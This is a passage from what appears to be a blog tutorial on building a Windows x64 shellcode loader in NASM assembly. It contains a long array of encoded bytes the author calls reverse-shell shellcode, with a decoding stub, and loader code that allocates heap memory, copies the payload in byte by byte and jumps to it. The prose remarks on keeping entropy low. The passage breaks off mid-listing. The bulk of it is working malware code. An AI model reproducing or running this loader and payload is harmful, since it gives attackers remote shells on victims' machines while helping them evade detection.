<span class="k">BITS</span> <span class="mi">64</span>

<span class="nf">section</span> <span class="nv">.shellstuff</span> <span class="nv">rdata</span> <span class="nv">read</span>
<span class="nl">encoded_shellcode:</span>
<span class="kd">db</span> <span class="mh">0x48</span><span class="p">,</span> <span class="mh">0x8d</span><span class="p">,</span> <span class="mh">0x35</span><span class="p">,</span> <span class="mh">0x23</span><span class="p">,</span> <span class="mh">0x00</span><span class="p">,</span> <span class="mh">0x00</span><span class="p">,</span> <span class="mh">0x00</span><span class="p">,</span> <span class="mh">0x44</span><span class="p">,</span> <span class="mh">0x8a</span><span class="p">,</span> <span class="mh">0x0d</span><span class="p">,</span> <span class="mh">0xb5</span><span class="p">,</span> <span class="mh">0x01</span><span class="p">,</span> <span class="mh">0x00</span><span class="p">,</span> <span class="mh">0x00</span><span class="p">,</span> <span class="mh">0xb9</span><span class="p">,</span> <span class="mh">0xd0</span><span class="p">,</span> <span class="mh">0x01</span><span class="p">,</span> <span class="mh">0x00</span><span class="p">,</span> <span class="mh">0x00</span><span class="p">,</span> <span class="mh">0x8a</span><span class="p">,</span> <span class="mh">0x06</span><span class="p">,</span> <span class="mh">0x44</span><span class="p">,</span> <span class="mh">0x30</span><span class="p">,</span> <span class="mh">0xc8</span><span class="p">,</span> <span class="mh">0xf6</span><span class="p">,</span> <span class="mh">0xd0</span><span class="p">,</span> <span class="mh">0x88</span><span class="p">,</span> <span class="mh">0x06</span><span class="p">,</span> <span class="mh">0x48</span><span class="p">,</span> <span class="mh">0xff</span><span class="p">,</span> <span class="mh">0xc6</span><span class="p">,</span> <span class="mh">0xe2</span><span class="p">,</span> <span class="mh">0xf2</span><span class="p">,</span> <span class="mh">0x48</span><span class="p">,</span> <span class="mh">0x8d</span><span class="p">,</span> <span class="mh">0x05</span><span class="p">,</span> <span class="mh">0x02</span><span class="p">,</span> <span class="mh">0x00</span><span class="p">,</span> <span class="mh">0x00</span><span class="p">,</span> <span class="mh">0x00</span><span class="p">,</span> <span class="mh">0xff</span><span class="p">,</span> <span class="mh">0xe0</span><span class="p">,</span> <span class="mh">0xaf</span><span class="p">,</span> <span class="mh">0x1b</span><span class="p">,</span> <span class="mh">0xd0</span><span class="p">,</span> <span class="mh">0xb7</span><span class="p">,</span> <span class="mh">0xa3</span><span class="p">,</span> <span class="mh">0xbb</span><span class="p">,</span> <span class="mh">0x93</span><span class="p">,</span> <span class="mh">0x53</span><span class="p">,</span> <span class="mh">0x53</span><span class="p">,</span> <span class="mh">0x53</span><span class="p">,</span> <span class="mh">0x12</span><span class="p">,</span> <span class="mh">0x02</span><span class="p">,</span> <span class="mh">0x12</span><span class="p">,</span> <span class="mh">0x03</span><span class="p">,</span> <span class="mh">0x01</span><span class="p">,</span> <span class="mh">0x02</span><span class="p">,</span> <span class="mh">0x05</span><span class="p">,</span> <span class="mh">0x1b</span><span class="p">,</span> <span class="mh">0x62</span><span class="p">,</span> <span class="mh">0x81</span><span class="p">,</span> <span class="mh">0x36</span><span class="p">,</span> <span class="mh">0x1b</span><span class="p">,</span> <span class="mh">0xd8</span><span class="p">,</span> <span class="mh">0x01</span><span class="p">,</span> <span class="mh">0x33</span><span class="p">,</span> <span class="mh">0x1b</span><span class="p">,</span> <span class="mh">0xd8</span><span class="p">,</span> <span class="mh">0x01</span><span class="p">,</span> <span class="mh">0x4b</span><span class="p">,</span> <span class="mh">0x1b</span><span class="p">,</span> <span class="mh">0xd8</span><span class="p">,</span> <span class="mh">0x01</span><span class="p">,</span> <span class="mh">0x73</span><span class="p">,</span> <span class="mh">0x1b</span><span class="p">,</span> <span class="mh">0xd8</span><span class="p">,</span> <span class="mh">0x21</span><span class="p">,</span> <span class="mh">0x03</span><span class="p">,</span> <span class="mh">0x1b</span><span class="p">,</span> <span class="mh">0x5c</span><span class="p">,</span> <span class="mh">0xe4</span><span class="p">,</span> <span class="mh">0x19</span><span class="p">,</span> <span class="mh">0x19</span><span class="p">,</span> <span class="mh">0x1e</span><span class="p">,</span> <span class="mh">0x62</span><span class="p">,</span> <span class="mh">0x9a</span><span class="p">,</span> <span class="mh">0x1b</span><span class="p">,</span> <span class="mh">0x62</span><span class="p">,</span> <span class="mh">0x93</span><span class="p">,</span> <span class="mh">0xff</span><span class="p">,</span> <span class="mh">0x6f</span><span class="p">,</span> <span class="mh">0x32</span><span class="p">,</span> <span class="mh">0x2f</span><span class="p">,</span> <span class="mh">0x51</span><span class="p">,</span> <span class="mh">0x7f</span><span class="p">,</span> <span class="mh">0x73</span><span class="p">,</span> <span class="mh">0x12</span><span class="p">,</span> <span class="mh">0x92</span><span class="p">,</span> <span class="mh">0x9a</span><span class="p">,</span> <span class="mh">0x5e</span><span class="p">,</span> <span class="mh">0x12</span><span class="p">,</span> <span class="mh">0x52</span><span class="p">,</span> <span class="mh">0x92</span><span class="p">,</span> <span class="mh">0xb1</span><span class="p">,</span> <span class="mh">0xbe</span><span class="p">,</span> <span class="mh">0x01</span><span class="p">,</span> <span class="mh">0x12</span><span class="p">,</span> <span class="mh">0x02</span><span class="p">,</span> <span class="mh">0x1b</span><span class="p">,</span> <span class="mh">0xd8</span><span class="p">,</span> <span class="mh">0x01</span><span class="p">,</span> <span class="mh">0x73</span><span class="p">,</span> <span class="mh">0xd8</span><span class="p">,</span> <span class="mh">0x11</span><span class="p">,</span> <span class="mh">0x6f</span><span class="p">,</span> <span class="mh">0x1b</span><span class="p">,</span> <span class="mh">0x52</span><span class="p">,</span> <span class="mh">0x83</span><span class="p">,</span> <span class="mh">0xd8</span><span class="p">,</span> <span class="mh">0xd3</span><span class="p">,</span> <span class="mh">0xdb</span><span class="p">,</span> <span class="mh">0x53</span><span class="p">,</span> <span class="mh">0x53</span><span class="p">,</span> <span class="mh">0x53</span><span class="p">,</span> <span class="mh">0x1b</span><span class="p">,</span> <span class="mh">0xd6</span><span class="p">,</span> <span class="mh">0x93</span><span class="p">,</span> <span class="mh">0x27</span><span class="p">,</span> <span class="mh">0x34</span><span class="p">,</span> <span class="mh">0x1b</span><span class="p">,</span> <span class="mh">0x52</span><span class="p">,</span> <span class="mh">0x83</span><span class="p">,</span> <span class="mh">0x03</span><span class="p">,</span> <span class="mh">0xd8</span><span class="p">,</span> <span class="mh">0x1b</span><span class="p">,</span> <span class="mh">0x4b</span><span class="p">,</span> <span class="mh">0x17</span><span class="p">,</span> <span class="mh">0xd8</span><span class="p">,</span> <span class="mh">0x13</span><span class="p">,</span> <span class="mh">0x73</span><span class="p">,</span> <span class="mh">0x1a</span><span class="p">,</span> <span class="mh">0x52</span><span class="p">,</span> <span class="mh">0x83</span><span class="p">,</span> <span class="mh">0xb0</span><span class="p">,</span> <span class="mh">0x05</span><span class="p">,</span> <span class="mh">0x1b</span><span class="p">,</span> <span class="mh">0xac</span><span class="p">,</span> <span class="mh">0x9a</span><span class="p">,</span> <span class="mh">0x12</span><span class="p">,</span> <span class="mh">0xd8</span><span class="p">,</span> <span class="mh">0x67</span><span class="p">,</span> <span class="mh">0xdb</span><span class="p">,</span> <span class="mh">0x1b</span><span class="p">,</span> <span class="mh">0x52</span><span class="p">,</span> <span class="mh">0x85</span><span class="p">,</span> <span class="mh">0x1e</span><span class="p">,</span> <span class="mh">0x62</span><span class="p">,</span> <span class="mh">0x9a</span><span class="p">,</span> <span class="mh">0x1b</span><span class="p">,</span> <span class="mh">0x62</span><span class="p">,</span> <span class="mh">0x93</span><span class="p">,</span> <span class="mh">0xff</span><span class="p">,</span> <span class="mh">0x12</span><span class="p">,</span> <span class="mh">0x92</span><span class="p">,</span> <span class="mh">0x9a</span><span class="p">,</span> <span class="mh">0x5e</span><span class="p">,</span> <span class="mh">0x12</span><span class="p">,</span> <span class="mh">0x52</span><span class="p">,</span> <span class="mh">0x92</span><span class="p">,</span> <span class="mh">0x6b</span><span class="p">,</span> <span class="mh">0xb3</span><span class="p">,</span> <span class="mh">0x26</span><span class="p">,</span> <span class="mh">0xa2</span><span class="p">,</span> <span class="mh">0x1f</span><span class="p">,</span> <span class="mh">0x50</span><span class="p">,</span> <span class="mh">0x1f</span><span class="p">,</span> <span class="mh">0x77</span><span class="p">,</span> <span class="mh">0x5b</span><span class="p">,</span> <span class="mh">0x16</span><span class="p">,</span> <span class="mh">0x6a</span><span class="p">,</span> <span class="mh">0x82</span><span class="p">,</span> <span class="mh">0x26</span><span class="p">,</span> <span class="mh">0x8b</span><span class="p">,</span> <span class="mh">0x0b</span><span class="p">,</span> <span class="mh">0x17</span><span class="p">,</span> <span class="mh">0xd8</span><span class="p">,</span> <span class="mh">0x13</span><span class="p">,</span> <span class="mh">0x77</span><span class="p">,</span> <span class="mh">0x1a</span><span class="p">,</span> <span class="mh">0x52</span><span class="p">,</span> <span class="mh">0x83</span><span class="p">,</span> <span class="mh">0x35</span><span class="p">,</span> <span class="mh">0x12</span><span class="p">,</span> <span class="mh">0xd8</span><span class="p">,</span> <span class="mh">0x5f</span><span class="p">,</span> <span class="mh">0x1b</span><span class="p">,</span> <span class="mh">0x17</span><span class="p">,</span> <span class="mh">0xd8</span><span class="p">,</span> <span class="mh">0x13</span><span class="p">,</span> <span class="mh">0x4f</span><span class="p">,</span> <span class="mh">0x1a</span><span class="p">,</span> <span class="mh">0x52</span><span class="p">,</span> <span class="mh">0x83</span><span class="p">,</span> <span class="mh">0x12</span><span class="p">,</span> <span class="mh">0xd8</span><span class="p">,</span> <span class="mh">0x57</span><span class="p">,</span> <span class="mh">0xdb</span><span class="p">,</span> <span class="mh">0x1b</span><span class="p">,</span> <span class="mh">0x52</span><span class="p">,</span> <span class="mh">0x83</span><span class="p">,</span> <span class="mh">0x12</span><span class="p">,</span> <span class="mh">0x0b</span><span class="p">,</span> <span class="mh">0x12</span><span class="p">,</span> <span class="mh">0x0b</span><span class="p">,</span> <span class="mh">0x0d</span><span class="p">,</span> <span class="mh">0x0a</span><span class="p">,</span> <span class="mh">0x09</span><span class="p">,</span> <span class="mh">0x12</span><span class="p">,</span> <span class="mh">0x0b</span><span class="p">,</span> <span class="mh">0x12</span><span class="p">,</span> <span class="mh">0x0a</span><span class="p">,</span> <span class="mh">0x12</span><span class="p">,</span> <span class="mh">0x09</span><span class="p">,</span> <span class="mh">0x1b</span><span class="p">,</span> <span class="mh">0xd0</span><span class="p">,</span> <span class="mh">0xbf</span><span class="p">,</span> <span class="mh">0x73</span><span class="p">,</span> <span class="mh">0x12</span><span class="p">,</span> <span class="mh">0x01</span><span class="p">,</span> <span class="mh">0xac</span><span class="p">,</span> <span class="mh">0xb3</span><span class="p">,</span> <span class="mh">0x0b</span><span class="p">,</span> <span class="mh">0x12</span><span class="p">,</span> <span class="mh">0x0a</span><span class="p">,</span> <span class="mh">0x09</span><span class="p">,</span> <span class="mh">0x1b</span><span class="p">,</span> <span class="mh">0xd8</span><span class="p">,</span> <span class="mh">0x41</span><span class="p">,</span> <span class="mh">0xba</span><span class="p">,</span> <span class="mh">0x04</span><span class="p">,</span> <span class="mh">0xac</span><span class="p">,</span> <span class="mh">0xac</span><span class="p">,</span> <span class="mh">0xac</span><span class="p">,</span> <span class="mh">0x0e</span><span class="p">,</span> <span class="mh">0x1a</span><span class="p">,</span> <span class="mh">0xed</span><span class="p">,</span> <span class="mh">0x24</span><span class="p">,</span> <span class="mh">0x20</span><span class="p">,</span> <span class="mh">0x61</span><span class="p">,</span> <span class="mh">0x0c</span><span class="p">,</span> <span class="mh">0x60</span><span class="p">,</span> <span class="mh">0x61</span><span class="p">,</span> <span class="mh">0x53</span><span class="p">,</span> <span class="mh">0x53</span><span class="p">,</span> <span class="mh">0x12</span><span class="p">,</span> <span class="mh">0x05</span><span class="p">,</span> <span class="mh">0x1a</span><span class="p">,</span> <span class="mh">0xda</span><span class="p">,</span> <span class="mh">0xb5</span><span class="p">,</span> <span class="mh">0x1b</span><span class="p">,</span> <span class="mh">0xd2</span><span class="p">,</span> <span class="mh">0xbf</span><span class="p">,</span> <span class="mh">0xf3</span><span class="p">,</span> <span class="mh">0x52</span><span class="p">,</span> <span class="mh">0x53</span><span class="p">,</span> <span class="mh">0x53</span><span class="p">,</span> <span class="mh">0x1a</span><span class="p">,</span><span class="mh">0xda</span><span class="p">,</span> <span class="mh">0xb6</span><span class="p">,</span> <span class="mh">0x1a</span><span class="p">,</span> <span class="mh">0xef</span><span class="p">,</span> <span class="mh">0x51</span><span class="p">,</span> <span class="mh">0x53</span><span class="p">,</span> <span class="mh">0x70</span><span class="p">,</span> <span class="mh">0x7a</span><span class="p">,</span> <span class="mh">0x2c</span><span class="p">,</span> <span class="mh">0x53</span><span class="p">,</span> <span class="mh">0x53</span><span class="p">,</span> <span class="mh">0x52</span><span class="p">,</span> <span class="mh">0x12</span><span class="p">,</span> <span class="mh">0x07</span><span class="p">,</span> <span class="mh">0x1a</span><span class="p">,</span> <span class="mh">0xda</span><span class="p">,</span> <span class="mh">0xb7</span><span class="p">,</span> <span class="mh">0x1f</span><span class="p">,</span> <span class="mh">0xda</span><span class="p">,</span> <span class="mh">0xa2</span><span class="p">,</span> <span class="mh">0x12</span><span class="p">,</span> <span class="mh">0xe9</span><span class="p">,</span> <span class="mh">0x1f</span><span class="p">,</span> <span class="mh">0x24</span><span class="p">,</span> <span class="mh">0x75</span><span class="p">,</span> <span class="mh">0x54</span><span class="p">,</span> <span class="mh">0xac</span><span class="p">,</span> <span class="mh">0x86</span><span class="p">,</span> <span class="mh">0x1f</span><span class="p">,</span> <span class="mh">0xda</span><span class="p">,</span> <span class="mh">0xb9</span><span class="p">,</span> <span class="mh">0x3b</span><span class="p">,</span> <span class="mh">0x52</span><span class="p">,</span> <span class="mh">0x52</span><span class="p">,</span> <span class="mh">0x53</span><span class="p">,</span> <span class="mh">0x53</span><span class="p">,</span> <span class="mh">0x0a</span><span class="p">,</span> <span class="mh">0x12</span><span class="p">,</span> <span class="mh">0xe9</span><span class="p">,</span> <span class="mh">0x7a</span><span class="p">,</span> <span class="mh">0xd3</span><span class="p">,</span> <span class="mh">0x38</span><span class="p">,</span> <span class="mh">0x53</span><span class="p">,</span> <span class="mh">0xac</span><span class="p">,</span> <span class="mh">0x86</span><span class="p">,</span> <span class="mh">0x03</span><span class="p">,</span> <span class="mh">0x03</span><span class="p">,</span> <span class="mh">0x1e</span><span class="p">,</span> <span class="mh">0x62</span><span class="p">,</span> <span class="mh">0x9a</span><span class="p">,</span> <span class="mh">0x1e</span><span class="p">,</span> <span class="mh">0x62</span><span class="p">,</span> <span class="mh">0x93</span><span class="p">,</span> <span class="mh">0x1b</span><span class="p">,</span> <span class="mh">0xac</span><span class="p">,</span> <span class="mh">0x93</span><span class="p">,</span> <span class="mh">0x1b</span><span class="p">,</span> <span class="mh">0xda</span><span class="p">,</span> <span class="mh">0x91</span><span class="p">,</span> <span class="mh">0x1b</span><span class="p">,</span> <span class="mh">0xac</span><span class="p">,</span> <span class="mh">0x93</span><span class="p">,</span> <span class="mh">0x1b</span><span class="p">,</span> <span class="mh">0xda</span><span class="p">,</span> <span class="mh">0x92</span><span class="p">,</span> <span class="mh">0x12</span><span class="p">,</span> <span class="mh">0xe9</span><span class="p">,</span> <span class="mh">0xb9</span><span class="p">,</span> <span class="mh">0x5c</span><span class="p">,</span> <span class="mh">0x8c</span><span class="p">,</span> <span class="mh">0xb3</span><span class="p">,</span> <span class="mh">0xac</span><span class="p">,</span> <span class="mh">0x86</span><span class="p">,</span> <span class="mh">0x1b</span><span class="p">,</span> <span class="mh">0xda</span><span class="p">,</span> <span class="mh">0x94</span><span class="p">,</span> <span class="mh">0x39</span><span class="p">,</span> <span class="mh">0x43</span><span class="p">,</span> <span class="mh">0x12</span><span class="p">,</span> <span class="mh">0x0b</span><span class="p">,</span> <span class="mh">0x1f</span><span class="p">,</span> <span class="mh">0xda</span><span class="p">,</span> <span class="mh">0xb1</span><span class="p">,</span> <span class="mh">0x1b</span><span class="p">,</span> <span class="mh">0xda</span><span class="p">,</span> <span class="mh">0xaa</span><span class="p">,</span> <span class="mh">0x12</span><span class="p">,</span> <span class="mh">0xe9</span><span class="p">,</span> <span class="mh">0xca</span><span class="p">,</span> <span class="mh">0xf6</span><span class="p">,</span> <span class="mh">0x27</span><span class="p">,</span> <span class="mh">0x32</span><span class="p">,</span> <span class="mh">0xac</span><span class="p">,</span> <span class="mh">0x86</span><span class="p">,</span> <span class="mh">0x1b</span><span class="p">,</span> <span class="mh">0xd2</span><span class="p">,</span> <span class="mh">0x97</span><span class="p">,</span> <span class="mh">0x13</span><span class="p">,</span> <span class="mh">0x51</span><span class="p">,</span> <span class="mh">0x53</span><span class="p">,</span> <span class="mh">0x53</span><span class="p">,</span> <span class="mh">0x1a</span><span class="p">,</span> <span class="mh">0xeb</span><span class="p">,</span> <span class="mh">0x30</span><span class="p">,</span> <span class="mh">0x3e</span><span class="p">,</span> <span class="mh">0x37</span><span class="p">,</span> <span class="mh">0x53</span><span class="p">,</span> <span class="mh">0x53</span><span class="p">,</span> <span class="mh">0x53</span><span class="p">,</span> <span class="mh">0x53</span><span class="p">,</span> <span class="mh">0x53</span><span class="p">,</span> <span class="mh">0x12</span><span class="p">,</span> <span class="mh">0x03</span><span class="p">,</span> <span class="mh">0x12</span><span class="p">,</span> <span class="mh">0x03</span><span class="p">,</span> <span class="mh">0x1b</span><span class="p">,</span> <span class="mh">0xda</span><span class="p">,</span> <span class="mh">0xb1</span><span class="p">,</span> <span class="mh">0x04</span><span class="p">,</span> <span class="mh">0x04</span><span class="p">,</span><span class="mh">0x04</span><span class="p">,</span> <span class="mh">0x1e</span><span class="p">,</span> <span class="mh">0x62</span><span class="p">,</span> <span class="mh">0x93</span><span class="p">,</span> <span class="mh">0x39</span><span class="p">,</span> <span class="mh">0x5e</span><span class="p">,</span> <span class="mh">0x0a</span><span class="p">,</span> <span class="mh">0x12</span><span class="p">,</span> <span class="mh">0x03</span><span class="p">,</span> <span class="mh">0xb1</span><span class="p">,</span> <span class="mh">0xaf</span><span class="p">,</span> <span class="mh">0x35</span><span class="p">,</span> <span class="mh">0x94</span><span class="p">,</span> <span class="mh">0x17</span><span class="p">,</span> <span class="mh">0x77</span><span class="p">,</span> <span class="mh">0x07</span><span class="p">,</span> <span class="mh">0x52</span><span class="p">,</span> <span class="mh">0x52</span><span class="p">,</span> <span class="mh">0x1b</span><span class="p">,</span> <span class="mh">0xde</span><span class="p">,</span> <span class="mh">0x17</span><span class="p">,</span> <span class="mh">0x77</span><span class="p">,</span> <span class="mh">0x4b</span><span class="p">,</span> <span class="mh">0x95</span><span class="p">,</span> <span class="mh">0x53</span><span class="p">,</span> <span class="mh">0x3b</span><span class="p">,</span> <span class="mh">0x1b</span><span class="p">,</span> <span class="mh">0xda</span><span class="p">,</span> <span class="mh">0xb5</span><span class="p">,</span> <span class="mh">0x05</span><span class="p">,</span> <span class="mh">0x03</span><span class="p">,</span> <span class="mh">0x12</span><span class="p">,</span> <span class="mh">0x03</span><span class="p">,</span> <span class="mh">0x12</span><span class="p">,</span> <span class="mh">0x03</span><span class="p">,</span> <span class="mh">0x12</span><span class="p">,</span> <span class="mh">0x03</span><span class="p">,</span> <span class="mh">0x1a</span><span class="p">,</span> <span class="mh">0xac</span><span class="p">,</span> <span class="mh">0x93</span><span class="p">,</span> <span class="mh">0x12</span><span class="p">,</span> <span class="mh">0x03</span><span class="p">,</span> <span class="mh">0x1a</span><span class="p">,</span> <span class="mh">0xac</span><span class="p">,</span> <span class="mh">0x9b</span><span class="p">,</span> <span class="mh">0x1e</span><span class="p">,</span> <span class="mh">0xda</span><span class="p">,</span> <span class="mh">0x92</span><span class="p">,</span> <span class="mh">0x1f</span><span class="p">,</span> <span class="mh">0xda</span><span class="p">,</span> <span class="mh">0x92</span><span class="p">,</span> <span class="mh">0x12</span><span class="p">,</span> <span class="mh">0xe9</span><span class="p">,</span> <span class="mh">0x2a</span><span class="p">,</span> <span class="mh">0x9f</span><span class="p">,</span> <span class="mh">0x6c</span><span class="p">,</span> <span class="mh">0xd5</span><span class="p">,</span> <span class="mh">0xac</span><span class="p">,</span> <span class="mh">0x86</span><span class="p">,</span> <span class="mh">0x1b</span><span class="p">,</span> <span class="mh">0x62</span><span class="p">,</span> <span class="mh">0x81</span><span class="p">,</span> <span class="mh">0x1b</span><span class="p">,</span> <span class="mh">0xac</span><span class="p">,</span> <span class="mh">0x99</span><span class="p">,</span> <span class="mh">0xd8</span><span class="p">,</span> <span class="mh">0x5d</span><span class="p">,</span> <span class="mh">0x12</span><span class="p">,</span> <span class="mh">0xe9</span><span class="p">,</span> <span class="mh">0x5b</span><span class="p">,</span> <span class="mh">0xd4</span><span class="p">,</span> <span class="mh">0x4e</span><span class="p">,</span> <span class="mh">0x33</span><span class="p">,</span> <span class="mh">0xac</span><span class="p">,</span> <span class="mh">0x86</span><span class="p">,</span> <span class="mh">0xe8</span><span class="p">,</span> <span class="mh">0xa3</span><span class="p">,</span> <span class="mh">0xe6</span><span class="p">,</span> <span class="mh">0xf1</span><span class="p">,</span> <span class="mh">0x05</span><span class="p">,</span> <span class="mh">0x12</span><span class="p">,</span> <span class="mh">0xe9</span><span class="p">,</span> <span class="mh">0xf5</span><span class="p">,</span> <span class="mh">0xc6</span><span class="p">,</span> <span class="mh">0xee</span><span class="p">,</span> <span class="mh">0xce</span><span class="p">,</span> <span class="mh">0xac</span><span class="p">,</span> <span class="mh">0x86</span><span class="p">,</span> <span class="mh">0x1b</span><span class="p">,</span> <span class="mh">0xd0</span><span class="p">,</span> <span class="mh">0x97</span><span class="p">,</span> <span class="mh">0x7b</span><span class="p">,</span> <span class="mh">0x6f</span><span class="p">,</span> <span class="mh">0x55</span><span class="p">,</span> <span class="mh">0x2f</span><span class="p">,</span> <span class="mh">0x59</span><span class="p">,</span> <span class="mh">0xd3</span><span class="p">,</span> <span class="mh">0xa8</span><span class="p">,</span> <span class="mh">0xb3</span><span class="p">,</span> <span class="mh">0x26</span><span class="p">,</span> <span class="mh">0x56</span><span class="p">,</span> <span class="mh">0xe8</span><span class="p">,</span> <span class="mh">0x14</span><span class="p">,</span> <span class="mh">0x40</span><span class="p">,</span> <span class="mh">0x21</span><span class="p">,</span> <span class="mh">0x3c</span><span class="p">,</span> <span class="mh">0x39</span><span class="p">,</span> <span class="mh">0x53</span><span class="p">,</span> <span class="mh">0x0a</span><span class="p">,</span> <span class="mh">0x12</span><span class="p">,</span> <span class="mh">0xda</span><span class="p">,</span> <span class="mh">0x89</span><span class="p">,</span> <span class="mh">0xac</span><span class="p">,</span> <span class="mh">0x86</span><span class="p">,</span> <span class="mh">0x53</span><span class="p">,</span> <span class="mh">0x53</span><span class="p">,</span> <span class="mh">0x53</span><span class="p">,</span> <span class="mh">0x53</span>
<span class="no">encoded_shellcode_total</span><span class="kd"> equ</span> <span class="kc">$</span> <span class="o">-</span> <span class="nv">encoded_shellcode</span>

<span class="nf">section</span> <span class="nv">.data</span> 

<span class="nf">section</span> <span class="nv">.text</span>
<span class="nf">global</span> <span class="nv">main</span>

<span class="c1">; both of these are conveniently in kernel32.dll ;)</span>
<span class="nf">extern</span> <span class="nv">HeapCreate</span>
<span class="nf">extern</span> <span class="nv">HeapAlloc</span>

<span class="nl">main:</span>
<span class="nf">sub</span> <span class="nb">rsp</span><span class="p">,</span> <span class="mh">0x28</span>
<span class="nf">and</span> <span class="nb">rsp</span><span class="p">,</span> <span class="mh">0xFFFFFFFFFFFFFFF0</span> <span class="c1">; this instruction helps with stack alignment</span>
	
<span class="nf">xor</span>  <span class="nb">r8d</span><span class="p">,</span><span class="nb">r8d</span>  
<span class="nf">xor</span>  <span class="nb">edx</span><span class="p">,</span><span class="nb">edx</span>  
<span class="nf">mov</span>  <span class="nb">ecx</span><span class="p">,</span> <span class="mh">0x40000</span>  
<span class="nf">call</span> <span class="nv">HeapCreate</span>
<span class="nf">sub</span> <span class="nb">rsp</span><span class="p">,</span> <span class="mi">72</span>
<span class="nf">mov</span> <span class="p">[</span><span class="nb">rsp</span><span class="p">],</span> <span class="nb">rax</span>
<span class="nf">add</span> <span class="nb">rsp</span><span class="p">,</span> <span class="mi">72</span>
<span class="nf">xor</span> <span class="nb">rcx</span><span class="p">,</span> <span class="nb">rcx</span>
	
<span class="nf">mov</span>  <span class="nv">r8</span><span class="p">,</span> <span class="nv">encoded_shellcode_total</span> <span class="c1">;size of shellcode</span>
<span class="nf">mov</span>  <span class="nb">edx</span><span class="p">,</span><span class="mi">8</span>  
<span class="nf">mov</span>  <span class="nb">rcx</span><span class="p">,</span><span class="kt">qword</span> <span class="p">[</span><span class="nb">rsp</span> <span class="o">-</span> <span class="mi">72</span><span class="p">]</span>  
<span class="nf">call</span> <span class="nv">HeapAlloc</span>
<span class="nf">push</span> <span class="nb">rax</span>
<span class="nf">pop</span> <span class="nb">rdx</span> <span class="c1">; memory address of mapped region of memory</span>
</code></pre></div></div>

<p>Here’s how everything looks in x64dg:</p>

<p><img width="398" height="233" alt="image" src="https://github.com/user-attachments/assets/eb63aa55-bfcb-4a95-a376-95e7b461c4d4" /></p>

<p>And take a look at our registers RAX and RDX.  They are both holding the return value of HeapAlloc.  RAX always holds the return value and I popped it into RDX for future use.</p>

<p><img width="246" height="142" alt="image" src="https://github.com/user-attachments/assets/44be1f25-f6bc-46d4-b980-022aa2090b7f" /></p>

<p>If you follow that memory location in the dump, you’ll see it’s filled with zeros.  This location will soon be populated with our shellcode!</p>

<p><img width="721" height="261" alt="image" src="https://github.com/user-attachments/assets/847df466-f2a4-458e-bd5b-965c1ae8fc76" /></p>

<h2 id="copying-our-shellcode-into-the-heap">Copying our shellcode into the Heap</h2>

<p>Hopefully everything has made sense up til this point…and really…hopefully everything keeps making sense! 😆  For this next portion of our PIC assembly and soon to be shellcode template, I could have used memcpy or RtlMoveMemory API to accomplish this. However, that’s yet another API we’d have to track down and it would increase our final shellcode bytes and we want low entropy, always, if we can.  In this case we can so let’s roll with it.  I’m going to setup a loop that copies our reverse shell shellcode byte by byte into the heap address we created.  Here’s what that looks like:</p>

<div class="language-nasm highlighter-rouge"><div class="highlight"><pre class="highlight"><code>
  <span class="c1">;=======================================================================</span>
  <span class="c1">; included the below for context to see how I got RDX and why we need it</span>
  <span class="nf">call</span>        <span class="nv">HeapAlloc</span>
	<span class="nf">push</span> <span class="nb">rax</span>
	<span class="nf">pop</span> <span class="nb">rdx</span> <span class="c1">; memory address of mapped region of memory</span>
  <span class="c1">;=======================================================================</span>

<span class="nf">lea</span> <span class="nb">rsi</span><span class="p">,</span> <span class="p">[</span><span class="nv">rel</span> <span class="nv">encoded_shellcode</span><span class="p">]</span>   <span class="c1">; this is the address of our shellcode.  we use relative addressing because of x64 conventions, also PIC friendly!</span>
<span class="nf">mov</span> <span class="nb">ecx</span><span class="p">,</span> <span class="nv">encoded_shellcode_total</span>   <span class="c1">; this is the total size of our shellcode</span>
<span class="nf">mov</span> <span class="nv">r14</span><span class="p">,</span> <span class="nb">rdx</span>                       <span class="c1">; move rdx into r14 to jump to it later and execute our shellcode once it's placed in the heap</span>
<span class="nf">xor</span> <span class="nb">rax</span><span class="p">,</span> <span class="nb">rax</span>                       <span class="c1">; clear RAX</span>
	
<span class="nl">chunk_reader:</span>                      <span class="c1">; a label </span>
    
<span class="nf">mov</span> <span class="nb">al</span><span class="p">,</span> <span class="kt">byte</span> <span class="p">[</span><span class="nb">rsi</span><span class="p">]</span>               <span class="c1">; moves a single byte value from the address that holds our shellcode into al, which is the from RAX.  it goes -&gt; RAX(64), EAX(32), AX(16), AL(8)</span>
<span class="nf">mov</span> <span class="p">[</span><span class="nb">rdx</span><span class="p">],</span> <span class="nb">al</span>                    <span class="c1">; move this value into our heap address</span>
<span class="nf">inc</span> <span class="nb">rsi</span>                          <span class="c1">; prepare to load the next byte in our reverse shell shellcode</span>
<span class="nf">test</span> <span class="nb">rcx</span><span class="p">,</span> <span class="nb">rcx</span>                    <span class="c1">; check if rcx is zero</span>
<span class="nf">jz</span> <span class="nv">final</span>                         <span class="c1">; jump to the final label if it is (and execute our shellcode)</span>
<span class="nf">inc</span> <span class="nb">rdx</span>                          <span class="c1">; increase the position of our shellcode each time it's added to the heap</span>
<span class="nf">loop</span> <span class="nb">ch</span><span class="nv">unk_reader</span>                <span class="c1">; keep looping until RCX is zero.  This also decrements RCX for us :)</span>
    
<span class="nl">final:</span>
<span class="nf">jmp</span> <span class="nv">r14</span>                          <span class="c1">; jump to our shellcode!</span>
</code></pre></div></div>

<p>And because I actually really do care that you understand this, I created a quick 5 minute video explaining it step by step using x64dbg 😸</p>

<iframe width="1080" height="720" src="https://www.youtube.com/embed/OiXWgVGfXnE" title="YouTube video player" frameborder="0" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture" allowfullscreen="">
</iframe>
<p><br /><br /></p>

<h2 id="the-final-code-for-part-1">The Final Code for Part 1</h2>

<p>Okay, let’s bring it all together now.  Here’s the full code for Part 1 of this series.  Again, using externs for our API calls.  In Part 2, be prepared!  We’re going to manually locate the APIs 😸  no cheating using externs.</p>

<div class="language-nasm highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">;nasm -fwin64 [x64findkernel32.asm]</span>
<span class="c1">;ld -m i386pep -N -o x64findkernel32.exe x64findkernel32.obj</span>
<span class="c1">; externs: ld -m i386pep -LC:\mingw64\x86_64-w64-mingw32\lib asmsock.obj -o asmsock.exe -lws2_32 -lkernel32</span>

<span class="k">BITS</span> <span class="mi">64</span>

<span class="nf">section</span> <span class="nv">.shellstuff</span> <span class="nv">rdata</span> <span class="nv">read</span>
<span class="nl">encoded_shellcode:</span>
